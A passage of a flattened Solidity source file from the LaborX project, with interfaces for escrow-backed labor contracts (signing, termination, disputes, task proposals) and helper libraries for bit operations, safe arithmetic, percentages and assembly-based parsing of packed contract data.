getContractState(bytes32 _contractId) external view returns (uint8 _state); } interface LaborContractBase { /// @notice Registers contract by an assignee that was negotiated by both parties and now is ready /// for the next step - financial relationships. Then signs registered contract. /// If job contract is taking place then `_signature` should be based on arbiter setting /// (see EscrowBaseInterface#setArbiter). /// If dispute contract is taking place then `_expireAtBlock`, `_salt`, `_signature` should skipped. /// @param _workflow workflow smart contract address that could be used for time tracking; workflow specific /// @param _escrow escrow smart contract for locking contract budget /// @param _data initialization data for a contract /// @param _expireAtBlock signature's expiration block /// @param _salt signature's unique identifier /// @param _signature signature of signed data /// @return result code of an operation function createContractAndSign( bytes32 _contractId, EscrowBaseInterface _escrow, WorkflowBase _workflow, bytes _data, uint _expireAtBlock, uint _salt, bytes _signature ) external returns (uint); } interface LaborContractBaseOperationable { /// @notice Callback function that is supposed to be called from associated workflow. /// Should be called on key operations that do not require any payment during execution. /// @param _contractId contract identifier /// @param _operationCode code of performed operation function onOperation(bytes32 _contractId, string _operationCode) external; /// @notice Callback function that is supposed to be called from associated workflow. /// Should be called on payable operations, for example, task completion confirmation. /// @param _contractId contract identifier /// @param _operationCode code of performed operation /// @param _depositValue value to deposit (if needed, should include surchange percent) /// @param _value value to be withdrawn from escrow /// @param _expireAtBlock expiry block after which transaction will be invalid /// @param _salt random bytes to identify signed data /// @param _signature signature provided by employer function onWithdrawOperation( bytes32 _contractId, string _operationCode, uint _depositValue, uint _value, uint _expireAtBlock, uint _salt, bytes _signature ) external payable; } interface LaborContractBaseSignable { /// @notice Calculates how much is needed to start a contract. /// @param _contractId contract identifier function getLockingDepositBalance(bytes32 _contractId) external view returns (uint); /// @dev Calculates how much is needed to start a contract. /// @return /// @return _values[0] tasks budget /// @return _values[1] deposit fee amount /// @return _values[2] locked termination amount /// @return _values[3] initial (upfront) payment amount /// @return _values[4] upfront withdraw fee amount function getLockingContractDetails(bytes32 _contractId) external view returns (uint[] _values); /// @notice Signs registered contract by an assignee. This operation precedes any other /// sign methods of other parties. /// If job contract is taking place then `_signature` should be based on arbiter setting /// (see EscrowBaseInterface#setArbiter). /// If dispute contract is taking place then `_expireAtBlock`, `_salt`, `_signature` should skipped. /// @param _contractId contract identifier /// @param _documentHash hash of a document on which parties have an agreement /// @param _expireAtBlock signature's expiration block /// @param _salt signature's unique identifier /// @param _signature signature of signed data /// @return result code of an operation function sign( bytes32 _contractId, bytes32 _documentHash, uint _expireAtBlock, uint _salt, bytes _signature ) external returns (uint); /// @notice Allows an assignee to revoke her sign when the contract `_contractId` has not started yet. /// @return result code of an operation function revokeSign(bytes32 _contractId) external returns (uint); /// @notice Signs contract and deposits to it, so it becomes ready for work. /// Should be done as the latest sign among all signs because it locks currency /// If job contract is taking place then `_signature` should be based on artibter setting /// (see EscrowBaseInterface#setArbiter). /// If dispute contract is taking place then `_signature` should be based on initiating escrow dispute /// (see EscrowBaseInterface#initiateDispute). /// @param _contractId contract identifier /// @param _documentHash hash of a document on which parties have an agreement /// @param _value amount of deposited currency /// @param _expireAtBlock signature's expiration block (the same as it was in assignee's sign) /// @param _salt signature's unique identifier (the same as it was in assignee's sign) /// @param _signature signature of signed data (signed data should be the same as it was in assignee's sign) /// @return result code of an operation function signAndDeposit( bytes32 _contractId, bytes32 _documentHash, uint _value, uint _expireAtBlock, uint _salt, bytes _signature ) external payable returns (uint); } interface LaborContractBaseCompletable { /// @notice Calculates how much is needed to complete a contract /// (in cases when payment is performed after all tasks and no escrow locked balance exists). /// @param _contractId contract identifier /// @return _depositValue how much should be deposited by employer to resolve contract completion /// @return _employerPaybackValue how much an employer gets back /// @return _assigneeResolveValue how much an assignee will be paid function getCompletionContractDepositBalance( bytes32 _contractId ) external view returns ( uint _depositValue, uint _employerPaybackValue, uint _assigneeResolveValue ); /// @dev Calculates how much is needed to complete a contract. /// @return /// @return _values[0] already completed and paid amount /// @return _values[1] completed but not paid (means it will be paid eventually) /// @return _values[2] unpaid (left) tasks budget amount (not completed) /// @return _values[3] escrow current balance /// @return _values[4] need to deposit amount /// @return _values[5] deposit fee value /// @return _values[6] returned amount to employer /// @return _values[7] paid amount to assignee /// @return _values[8] locked termination amount /// @return _values[9] withdraw fee amount function getCompletionContractDetails(bytes32 _contractId) external view returns (uint[] _values); /// @notice Completes the contract and resolves debts for both parties. /// No actions with contract will be available after that. /// Signature should present data for releasing termination escrow to the assignee and /// termination remainder + budget escrow to the employer. Escrow balance should be empty /// after execution - escrow will be flushed after that. /// See EscrowBaseInterface#releaseNegotiatedPayment for more details. /// @param _contractId contract identifier /// @param _expireAtBlock expiry block after which transaction will be invalid /// @param _salt random bytes to identify signed data /// @param _signatures concatenated signatures produced by employer and assignee /// @return result code of an operation function completeContract( bytes32 _contractId, uint _expireAtBlock, uint _salt, bytes _signatures ) external payable returns (uint); } interface LaborContractBaseTerminatable { /// @notice Gets details about depositing amount that is required to initiate termination process. /// @param _contractId contract identifier /// @param _terminationId termination identifier /// @return amount that is required to deposit by termination initiator function getTerminationInitiateDepositDetails(bytes32 _contractId, uint _terminationId) external view returns (uint); /// @notice Gets details about depositing amount that is required to cancel termination process. /// @param _contractId contract identifier /// @param _terminationId termination identifier /// @return amount that is required to deposit by termination confirmator function getTerminationCancelDepositDetails(bytes32 _contractId, uint _terminationId) external view returns (uint); /// @notice Gets details about depositing amount that is required to confirm termination process. /// @param _contractId contract identifier /// @param _terminationId termination identifier /// @return amount that is required to deposit by termination confirmator function getTerminationConfirmDepositDetails(bytes32 _contractId, uint _terminationId) external view returns (uint); /// @notice Calculates requested termination conditions for the contract `_contractId`. /// @param _contractId contract identifier /// @param _terminationId termination condition identifier /// @return _employerValue amount that will return back to the employer /// @return _assigneeValue amount that will go to the assignee function getTerminationPaymentAmounts( bytes32 _contractId, uint _terminationId ) external view returns (uint _employerValue, uint _assigneeValue); /// @dev Calculates requested termination conditions for the contract `_contractId`. /// @param _contractId contract identifier /// @param _terminationId termination condition identifier /// @return _values[0] termination amount /// @return _values[1] employer's amount /// @return _values[2] assignee's amount /// @return _values[3] initiator type /// @return _values[4] receiver type /// @return _values[5] unspent upfront amount that would be returned to an employer /// @return _values[6] need to deposit amount on termination initiation /// @return _values[7] need to deposit amount on termination confirmation /// @return _values[8] need to pay for tasks in case if they are competed but not paid /// @return _values[9] withdraw assignee fee amount function getTerminationContractDetails(bytes32 _contractId, uint _terminationId) external view returns (uint[] _values); /// @notice Starts termination negotiations by any party (employer or assignee) /// Is not applicable for disputes. /// @param _contractId contract identifier /// @param _terminationId termination identifier; type of termination condition should /// be assosiated with the initiator /// @param _value value to deposit, duplicated as a parameter to secure from unintended deposits /// @param _comment additional comments about termination reason or other notes /// @return result code of an operation function initiateTermination( bytes32 _contractId, uint32 _terminationId, uint _value, string _comment ) external payable returns (uint); /// @notice Cancels termination request that has not confirmed yet. /// Should be called by the termination initiator /// Is not applicable for disputes. /// @param _contractId contract identifier /// @return result code of an operation function cancelTerminationRequest(bytes32 _contractId) external returns (uint); /// @notice Cancels termination request that has not confirmed yet. /// Should be called by the termination initiator. /// Is not applicable for disputes. /// /// If a deposit was made during termination initiation stage and /// 'getTerminationCancelDepositDetails()' returns non-zero result then the opposite /// party should sign that amount for withdrawal and pass to termination's /// initiator. /// When initiator is an assignee then an employer should sign a message for /// EscrowBaseInterface#releaseBuyerPayment method. /// When initiator is an employer then an assignee should sign a message for /// EscrowBaseInterface#sendSellerPayback method. /// Otherwise expireAtBlock, salt and signature should be skipped. /// @param _contractId contract identifier /// @param _expireAtBlock contract identifier /// @param _salt contract identifier /// @param _signature contract identifier /// @return result code of an operation function cancelTerminationRequestWithApproval( bytes32 _contractId, uint _expireAtBlock, uint _salt, bytes _signature ) external returns (uint); /// @notice Performs confirmation of requested termination and terminates contract. /// Is not applicable for disputes. /// Should be signed by both parties that means they are both aware and agreed on conditions. /// Signature should present data for releasing termination escrow to the assignee and /// termination remainder + budget escrow to the employer. Escrow balance should be empty /// after execution - escrow will be flushed after that. /// See EscrowBaseInterface#releaseNegotiatedPayment for more details. /// @param _contractId contract identifier /// @param _value value to deposit, duplicated as a parameter to secure from unintended withdrawals /// @param _expireAtBlock expiry block after which transaction will be invalid. Should be the same for /// tasks payment and for negotiated payment. /// @param _tasksSalt tasks random bytes to identify signed data /// Skip when no payment is required. /// @param _tasksSignature signature of EscrowBaseInterface#releaseBuyerPayment message /// Skip when no payment is required. /// @param _salt random bytes to identify signed data /// @param _signatures concatenated signatures produced by employer and assignee /// @return result code of an operation function confirmTermination( bytes32 _contractId, uint _value, uint _expireAtBlock, uint _tasksSalt, bytes _tasksSignature, uint _salt, bytes _signatures ) external payable returns (uint); } interface LaborContractBaseDisputable { /// @notice Gets details about contract resolvement by an arbiter. /// @param _contractId contract identifier /// @param _assigneeValue value that will go to an assignee /// @return _values[0] employer's amount /// @return _values[1] withdraw fee amount (for assignee) function getResolvingContractDetails(bytes32 _contractId, uint _assigneeValue) external view returns (uint[] _values); /// @notice Resolves the dispute in contract (if such exists). /// Sends provided percent `_assigneePercent` to the underlying /// contract assignee, the remainder - to contract employer. /// No actions with contract will be available after that. /// Signature should present data for releasing full escrow balance and split /// it amont parties in a dispute. Escrow balance should be empty /// after execution - escrow will be flushed after that. /// See EscrowBaseInterface#releaseDisputedPayment for more details. /// @param _contractId contract identifier /// @param _assigneeValue part of the escrow balance that will go to the assignee /// of disputed contract /// @param _expireAtBlock expiry block after which transaction will be invalid /// @param _signature signature provided by dispute assignee (base contract's arbiter) /// @return result code of an operation function resolveContract( bytes32 _contractId, uint _assigneeValue, uint _expireAtBlock, bytes _signature ) external returns (uint); } interface LaborContractBaseTasksProposable { /// @notice Gets details about proposed tasks for contract `_contractId`. /// @param _contractId contract identifier /// @return _values[0] proposed tasks budget /// @return _values[1] amount needed to be deposited /// @return _values[2] employer's fee amount included into deposit /// @return _values[3] termination amount needed to be locked additionally /// @return _values[4] upfront amount /// @return _values[5] assignee's fee amount that will be taken fron upfront amount function getContractProposedTasksDetails(bytes32 _contractId) external view returns (uint[] _values); /// @notice Puts new tasks of a contract `_contractId` to an approval state for an employer. /// Should be called by an assignee. /// @param _contractId contract identifier /// @param _updatedDocumentHash document hash of the updated contract /// @param _data tasks and task penalty that are going to be added /// @return result code of an operation function proposeTasks( bytes32 _contractId, bytes32 _updatedDocumentHash, bytes _data ) external returns (uint); /// @notice Accepts proposed tasks for a contract `_contractId` /// and adds tasks to a contract's workflow. /// Should be called by an employer. /// @param _contractId contract identifier /// @param _updatedDocumentHash document hash of the updated contract /// @param _value value to be deposited for provided tasks /// @return result code of an operation function acceptProposedTasksAndDeposit( bytes32 _contractId, bytes32 _updatedDocumentHash, uint _value ) external payable returns (uint); } // File: contracts/common/initializable/InitializableStorageAdapter.sol /** * Copyright 2017–2019, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.25; contract InitializableStorageAdapter is StorageAdapter { function _initStorageAdapter(Storage _storage, bytes32 _crate) internal { require(address(store.store) == 0x0); store.init(_storage, _crate); } } // File: contracts/libs/Bits.sol /** * Copyright 2017–2019, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.25; library Bits { uint constant internal ONE = uint(1); uint constant internal ONES = uint(~0); // Sets the bit at the given 'index' in 'self' to '1'. // Returns the modified value. function setBit(uint self, uint8 index) internal pure returns (uint) { return self | ONE << index; } // Sets the bit at the given 'index' in 'self' to '0'. // Returns the modified value. function clearBit(uint self, uint8 index) internal pure returns (uint) { return self & ~(ONE << index); } // Sets the bit at the given 'index' in 'self' to: // '1' - if the bit is '0' // '0' - if the bit is '1' // Returns the modified value. function toggleBit(uint self, uint8 index) internal pure returns (uint) { return self ^ ONE << index; } // Get the value of the bit at the given 'index' in 'self'. function bit(uint self, uint8 index) internal pure returns (uint8) { return uint8(self >> index & 1); } // Check if the bit at the given 'index' in 'self' is set. // Returns: // 'true' - if the value of the bit is '1' // 'false' - if the value of the bit is '0' function bitSet(uint self, uint8 index) internal pure returns (bool) { return self >> index & 1 == 1; } // Checks if the bit at the given 'index' in 'self' is equal to the corresponding // bit in 'other'. // Returns: // 'true' - if both bits are '0' or both bits are '1' // 'false' - otherwise function bitEqual(uint self, uint other, uint8 index) internal pure returns (bool) { return (self ^ other) >> index & 1 == 0; } // Get the bitwise NOT of the bit at the given 'index' in 'self'. function bitNot(uint self, uint8 index) internal pure returns (uint8) { return uint8(1 - (self >> index & 1)); } // Computes the bitwise AND of the bit at the given 'index' in 'self', and the // corresponding bit in 'other', and returns the value. function bitAnd(uint self, uint other, uint8 index) internal pure returns (uint8) { return uint8((self & other) >> index & 1); } // Computes the bitwise OR of the bit at the given 'index' in 'self', and the // corresponding bit in 'other', and returns the value. function bitOr(uint self, uint other, uint8 index) internal pure returns (uint8) { return uint8((self | other) >> index & 1); } // Computes the bitwise XOR of the bit at the given 'index' in 'self', and the // corresponding bit in 'other', and returns the value. function bitXor(uint self, uint other, uint8 index) internal pure returns (uint8) { return uint8((self ^ other) >> index & 1); } // Gets 'numBits' consecutive bits from 'self', starting from the bit at 'startIndex'. // Returns the bits as a 'uint'. // Requires that: // - '0 < numBits <= 256' // - 'startIndex < 256' // - 'numBits + startIndex <= 256' function bits(uint self, uint8 startIndex, uint16 numBits) internal pure returns (uint) { require(0 < numBits && startIndex < 256 && startIndex + numBits <= 256); return self >> startIndex & ONES >> 256 - numBits; } // Computes the index of the highest bit set in 'self'. // Returns the highest bit set as an 'uint8'. // Requires that 'self != 0'. function highestBitSet(uint self) internal pure returns (uint8 highest) { require(self != 0); uint val = self; for (uint8 i = 128; i >= 1; i >>= 1) { if (val & (ONE << i) - 1 << i != 0) { highest += i; val >>= i; } } } // Computes the index of the lowest bit set in 'self'. // Returns the lowest bit set as an 'uint8'. // Requires that 'self != 0'. function lowestBitSet(uint self) internal pure returns (uint8 lowest) { require(self != 0); uint val = self; for (uint8 i = 128; i >= 1; i >>= 1) { if (val & (ONE << i) - 1 == 0) { lowest += i; val >>= i; } } } } // File: contracts/common/FeeConstants.sol /** * Copyright 2017–2019, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.25; contract FeeConstants { using Bits for uint8; uint8 constant SELLER_FLAG_BIT_IDX = 0; uint8 constant BUYER_FLAG_BIT_IDX = 1; function _getSellerFeeFlag() internal pure returns (uint8 _feeStatus) { return uint8(_feeStatus.setBit(SELLER_FLAG_BIT_IDX)); } function _getBuyerFeeFlag() internal pure returns (uint8 _feeStatus) { return uint8(_feeStatus.setBit(BUYER_FLAG_BIT_IDX)); } function _getAllFeeFlag() internal pure returns (uint8 _feeStatus) { return uint8(uint8(_feeStatus .setBit(SELLER_FLAG_BIT_IDX)) .setBit(BUYER_FLAG_BIT_IDX)); } function _getNoFeeFlag() internal pure returns (uint8 _feeStatus) { return 0; } function _isFeeFlagAppliedFor(uint8 _feeStatus, uint8 _userBit) internal pure returns (bool) { return _feeStatus.bitSet(_userBit); } } // File: contracts/libs/SafeMath.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.25; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; require(a == 0 || c / a == b, "SAFE_MATH_MUL"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SAFE_MATH_SUB"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SAFE_MATH_ADD"); return c; } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { return x <= y ? x : y; } function max(uint256 x, uint256 y) internal pure returns (uint256 z) { return x >= y ? x : y; } } // File: contracts/libs/PercentCalculator.sol /** * Copyright 2017–2019, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.25; library PercentCalculator { using SafeMath for uint; function getPercent( uint _value, uint _percent, uint _precision ) internal pure returns (uint) { return _value.mul(_percent).div(_precision); } function getValueWithPercent( uint _value, uint _percent, uint _precision ) internal pure returns (uint) { return _value.add(getPercent(_value, _percent, _precision)); } function getFullValueFromPercentedValue( uint _value, uint _percent, uint _precision ) internal pure returns (uint) { return _value.mul(_precision).div(_percent); } } // File: contracts/libs/DataParser.sol /** * Copyright 2017–2019, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.25; /// @title Provides functions to parse and copy input data stream for LX Contract module. library DataParser { using SafeMath for uint; // constant uint CONTRACT_DATA_STRUCT_LENGTH = 232; // constant uint TASK_DATA_STRUCT_LENGTH = 102; // constant uint PENALTY_DATA_STRUCT_LENGTH = 74; // constant uint TERMINATION_DATA_STRUCT_LENGTH = 70; /** @dev DATA_STRUCTURE_TYPE { CONTRACT = 1, TASK = 2, PENALTY = 3, TERMINATION = 4 } */ /// @dev CONTRACT_TYPE { JOB = 1, DISPUTE = 2 } /// @dev PAYMENT_TIMELINE { PAY_BY_TASK = 1, PAY_BY_PROJECT = 2 } /// @dev PAYMENT_VALUE_TYPE { CURRENCY = 1; PERCENT = 2 } /// @dev PENALTY_APPLICATION_TYPE { MISS_DEADLINE = 1, LATE_PAYMENT = 2 } /// @dev TERMINATION_PARTY { TERMINATION_EMPLOYER = 1, TERMINATION_ASSIGNEE = 2 } enum ContractType { INVALID, JOB, DISPUTE } enum PaymentValueType { INVALID, CURRENCY, PERCENT } enum PaymentTimeline { INVALID, PAY_BY_TASK, PAY_BY_PROJECT } enum TerminationParty { INVALID, TERMINATION_EMPLOYER, TERMINATION_ASSIGNEE } enum PenaltyApplicationType { INVALID, MISS_DEADLINE, LATE_PAYMENT } enum DataStructureType { INVALID, CONTRACT, TASK, PENALTY, TERMINATION } /// @dev Contract data structure struct ContractData { /// @dev CONTRACT_TYPE type uint8 contractType; bytes32 documentHash; /// @dev for dispute contracts bytes32 linkedContractId; address employer; address assignee; address arbiter; address participant; /// @dev timestamp uint256 beginDate; bytes32 paymentCurrencySymbol; address paymentCurrencyAddress; // @deprecated bool lockFullBudget; /// @dev PAYMENT_TIMELINE type uint8 paymentTimeline; bool refundUpfrontOnTermination; bool allowDynamicTasks; } /// @dev Task data structure struct TaskData { uint32 id; bool isUpfront; /// @dev PAYMENT_VALUE_TYPE type uint8 upfrontValueType; /// @dev interpretation is based on valueType uint256 upfrontValue; /// @dev total amount to pay uint256 budget; /// @dev timestamp uint256 deadline; } struct TaskPenaltyData { uint32 id; /// @dev penalized task id uint32 taskId; /// @dev PENALTY_APPLICATION_TYPE type uint8 applicationType; /// @dev PAYMENT_VALUE_TYPE type uint8 valueType; /// @dev interpretation is based on valueType uint256 value; /// @dev reserved for future purposes bytes32 reserved1; } struct TerminationData { uint32 id; /// @dev TERMINATION_PARTY uint8 initiatorType; /// @dev TERMINATION_PARTY uint8 payToType; bytes32 description; /// @dev PAYMENT_VALUE_TYPE type uint8 valueType; /// @dev interpretation is based on valueType uint256 value; } function _getRawLengthForDataStructure(uint8 _dataStructureType) internal pure returns (uint _length) { assembly { switch _dataStructureType case 1 { _length := 233 } // CONTRACT_DATA_STRUCT_LENGTH case 2 { _length := 102 } // TASK_DATA_STRUCT_LENGTH case 3 { _length := 74 } // PENALTY_DATA_STRUCT_LENGTH case 4 { _length := 71 } // TERMINATION_DATA_STRUCT_LENGTH default { revert(0,0) } } } function _getFieldsNumberForDataStructure(uint8 _dataStructureType) private pure returns (uint _fields) { assembly { switch _dataStructureType case 1 { _fields := 14 } // CONTRACT_DATA_STRUCT_LENGTH case 2 { _fields := 6 } // TASK_DATA_STRUCT_LENGTH case 3 { _fields := 6 } // PENALTY_DATA_STRUCT_LENGTH case 4 { _fields := 6 } // TERMINATION_DATA_STRUCT_LENGTH default { revert(0,0) } } } function _countRawInputStructures(bytes memory _inputData, uint8 _dataStructureType) private pure returns (uint _counter) { uint _pointerOffset; while (_pointerOffset < _inputData.length) { uint8 header; assembly { let pointer := add(_inputData, add(_pointerOffset, 0x1)) header := and(mload(pointer), 0xff) if eq(header, _dataStructureType) { _counter := add(_counter, 1) } } _pointerOffset += _getRawLengthForDataStructure(header) + 1; } } /// @dev Copies data from `_input` by length of `_cutLength` and pastes into /// `_output` with offset `_outputPointer` function _cutDataFromInput( bytes memory _input, uint _cutLength, bytes memory _output, uint _outputPointer ) private pure { assembly { let dataPointer := add(_output, _outputPointer) let end := add(dataPointer, _cutLength) for { let cc := _input } lt(dataPointer, end) { dataPointer := add(dataPointer, 0x20) cc := add(cc, 0x20) } { mstore(dataPointer, mload(cc)) } } } /// @dev Allocates bytes array for keeping a struct data by providing number of struct items /// and number of fields in a struct. /// Reserves prefix memory slots for future struct casting. function _allocUnpackedMemoryBytesArray(uint _structCount, uint _structFieldsNumber) private pure returns (bytes memory _arr) { assembly { _arr := add(mload(0x40), mul(_structCount, 0x20)) // prepend new memory area with _structCount more empty slots (for structure item references) let _length := mul(mul(_structFieldsNumber, 0x20), _structCount) mstore(_arr, _length) mstore(0x40, add(_arr, add(_length, 0x20))) } } /// @dev Allocates bytes array for keeping data function _allocMemoryBytesArray(uint _structCount, uint _structDataLength) private pure returns (bytes memory _arr) { assembly { _arr := mload(0x40) let _length := mul(_structDataLength, _structCount) mstore(_arr, _length) mstore(0x40, add(_arr, add(_length, 0x20))) } } /// @dev Transforms provided array to have struct-like array presentation. /// Should provide array with preserved memory slots. function _castMemoryArrayToStructureArray( bytes memory _arr, uint _structFieldsNumber ) private pure returns ( bytes memory _castedArr ) { /** * Transform raw bytes array into array of structures. * It should have the following structure: * - first byte: number of structures * - n-bytes (n - number of structures): references into memory to structures' items () * - n+m-bytes: data */ assembly { let _structLength := mul(_structFieldsNumber, 0x20) let _structuresCount := div(mload(_arr), _structLength) _castedArr := sub(_arr, mul(_structuresCount, 0x20)) // set offset in opposite way to expand memory with structures' refs mstore(_castedArr, _structuresCount) let _writePointer := add(_castedArr, 0x20) for { let _offsetIdx := 0 } lt(_offsetIdx, _structuresCount) { _offsetIdx := add(_offsetIdx, 1) } { mstore(_writePointer, add(_arr, add(0x20, mul(_offsetIdx, _structLength)))) _writePointer := add(_writePointer, 0x20) } } } function cutCleanArrayFromRawInput(bytes memory _inputData, uint8 _dataStructureType) internal pure returns ( bytes memory _packedData ) { uint _dataLength = _getRawLengthForDataStructure(_dataStructureType); uint _structuresCount = _countRawInputStructures(_inputData, _dataStructureType); _packedData = _allocMemoryBytesArray(_structuresCount, _dataLength); bytes memory _offsetInputData; uint _counter; uint _pointerOffset; while ((_pointerOffset < _inputData.length) && (_counter < _structuresCount)) { uint8 header; assembly { let pointer := add(_inputData, add(_pointerOffset, 0x1)) header := and(mload(pointer), 0xff) if eq(header, _dataStructureType) { _offsetInputData := add(pointer, 0x20) } } if (header == _dataStructureType) { _cutDataFromInput(_offsetInputData, _dataLength, _packedData, 0x20 + _counter * _dataLength); _counter += 1; } _pointerOffset += _getRawLengthForDataStructure(header) + 1; // +1 for DATA_STRUCTURE_TYPE header byte } } function unpackRawInputIntoMemoryArray( bytes memory _inputData, uint8 _dataStructureType, function (bytes memory, bytes memory) internal pure _unpack ) internal pure returns ( bytes memory _unpackedData ) { uint _fieldsNumber = _getFieldsNumberForDataStructure(_dataStructureType); uint _structCount = _countRawInputStructures(_inputData, _dataStructureType); _unpackedData = _allocUnpackedMemoryBytesArray(_structCount, _fieldsNumber); bytes memory _offsetInputData; bytes memory _unpackDataPointer; uint _pointerOffset; uint _structCounter; while ((_pointerOffset < _inputData.length) && (_structCounter < _structCount)) { uint8 header; assembly { // read the first byte - DATA_STRUCTURE_TYPE let pointer := add(_inputData, add(_pointerOffset, 0x1)) header := and(mload(pointer), 0xff) if eq(header, _dataStructureType) { _offsetInputData := pointer _unpackDataPointer := add(_unpackedData, add(0x20, mul(mul(_structCounter, _fieldsNumber), 0x20))) _structCounter := add(_structCounter, 1) } } if (header == _dataStructureType) { _unpack(_offsetInputData, _unpackDataPointer); } _pointerOffset += _getRawLengthForDataStructure(header) + 1; } } function unpackCleanArrayIntoMemoryArray( bytes memory _inputData, uint8 _dataStructureType, function (bytes memory, bytes memory) internal pure _unpack ) internal pure returns (bytes memory _unpackedData) { uint _dataStructureLength = _getRawLengthForDataStructure(_dataStructureType); require(_inputData.length % _dataStructureLength == 0, "PARSER_INVALID_DATA_PADDING"); bytes memory _offsetInputPointer; bytes memory _offsetOutputPointer; uint _fieldsNumber = _getFieldsNumberForDataStructure(_dataStructureType); uint _unpackedDataItemLength = _fieldsNumber * 32; _unpackedData = _allocUnpackedMemoryBytesArray(_inputData.length / _dataStructureLength, _fieldsNumber); assembly { _offsetOutputPointer := add(_unpackedData, 0x20) } for (uint _inputOffset = 0; _inputOffset < _inputData.length; _inputOffset += _dataStructureLength) { assembly { _offsetInputPointer := add(_inputData, _inputOffset) } _unpack(_offsetInputPointer, _offsetOutputPointer); assembly { _offsetOutputPointer := add(_offsetOutputPointer, _unpackedDataItemLength) } } } function _unpackContractIntoMemory(bytes memory _inputData, bytes memory _unpackedData) private pure { assembly { mstore(_unpackedData, and(mload(add(_inputData, 0x1)), 0xff)) // 1 byte mstore(add(_unpackedData, 0x20), and(mload(add(_inputData, 0x21)), 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)) // 32 bytes mstore(add(_unpackedData, 0x40), and(mload(add(_inputData, 0x41)), 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)) // 32 bytes mstore(add(_unpackedData, 0x60), and(mload(add(_inputData, 0x55)), 0xffffffffffffffffffffffffffffffffffffffff)) // 20 bytes mstore(add(_unpackedData, 0x80), and(mload(add(_inputData, 0x69)), 0xffffffffffffffffffffffffffffffffffffffff)) // 20 bytes mstore(add(_unpackedData, 0xa0), and(mload(add(_inputData, 0x7d)), 0xffffffffffffffffffffffffffffffffffffffff)) // 20 bytes mstore(add(_unpackedData, 0xc0), and(mload(add(_inputData, 0x91)), 0xffffffffffffffffffffffffffffffffffffffff)) // 20 bytes mstore(add(_unpackedData, 0xe0), and(mload(add(_inputData, 0xb1)), 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)) // 32 bytes mstore(add(_unpackedData, 0x100), and(mload(add(_inputData, 0xd1)), 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)) // 32 bytes mstore(add(_unpackedData, 0x120), and(mload(add(_inputData, 0xe5)), 0xffffffffffffffffffffffffffffffffffffffff)) // 20 bytes mstore(add(_unpackedData, 0x140), and(mload(add(_inputData, 0xe6)), 0xff)) // 1 byte mstore(add(_unpackedData, 0x160), and(mload(add(_inputData, 0xe7)), 0xff)) // 1 byte mstore(add(_unpackedData, 0x180), and(mload(add(_inputData, 0xe8)), 0xff)) // 1 byte mstore(add(_unpackedData, 0x1a0), and(mload(add(_inputData, 0xe9)), 0xff)) // 1 byte } } function _unpackTaskIntoMemory(bytes memory _inputData, bytes memory _taskData) private pure { assembly { mstore(_taskData, and(mload(add(_inputData, 0x4)), 0xffffffff)) // 4 byte mstore(add(_taskData, 0x20), and(mload(add(_inputData, 0x5)), 0xff)) // 1 byte mstore(add(_taskData, 0x40), and(mload(add(_inputData, 0x6)), 0xff)) // 1 byte mstore(add(_taskData, 0x60), and(mload(add(_inputData, 0x26)), 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)) // 32 bytes mstore(add(_taskData, 0x80), and(mload(add(_inputData, 0x46)), 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)) // 32 bytes mstore(add(_taskData, 0xa0), and(mload(add(_inputData, 0x66)), 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)) // 32 bytes } } function _unpackTaskPenaltyIntoMemory(bytes memory _inputData, bytes memory _penaltyData) private pure { assembly { mstore(_penaltyData, and(mload(add(_inputData, 0x4)), 0xffffffff)) // 4 byte mstore(add(_penaltyData, 0x20), and(mload(add(_inputData, 0x8)), 0xffffffff)) // 4 byte mstore(add(_penaltyData, 0x40), and(mload(add(_inputData, 0x9)), 0xff)) // 1 byte mstore(add(_penaltyData, 0x60), and(mload(add(_inputData, 0xa)), 0xff)) // 1 byte mstore(add(_penaltyData, 0x80), and(mload(add(_inputData, 0x2a)), 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)) // 32 bytes mstore(add(_penaltyData, 0xa0), and(mload(add(_inputData, 0x4a)), 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)) // 32 bytes } } function _unpackTerminationIntoMemory(bytes memory _inputData, bytes memory _terminationData) private pure { assembly { mstore(_terminationData, and(mload(add(_inputData, 0x4)), 0xffffffff)) // 4 byte mstore(add(_terminationData, 0x20), and(mload(add(_inputData, 0x5)), 0xff)) // 1 byte mstore(add(_terminationData, 0x40), and(mload(add(_inputData, 0x6)), 0xff)) // 1 byte mstore(add(_terminationData, 0x60), and(mload(add(_inputData, 0x26)), 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)) // 32 bytes mstore(add(_terminationData, 0x80), and(mload(add(_inputData, 0x27)), 0xff)) // 1 byte mstore(add(_terminationData, 0xa0), and(mload(add(_inputData, 0x47)), 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)) // 32 bytes } } /** RAW INPUT PARSING */ function parseContractDataRawInput(bytes memory _inputData) internal pure returns ( ContractData memory _entity ) { bytes memory _data = unpackRawInputIntoMemoryArray(_inputData, 1, _unpackContractIntoMemory); // DATA_STRUCTURE_TYPE = CONTRACT assembly { _entity := add(_data, 0x20) } } function parseTaskDataRawInput(bytes memory _inputData) internal pure returns ( TaskData[] memory _entities 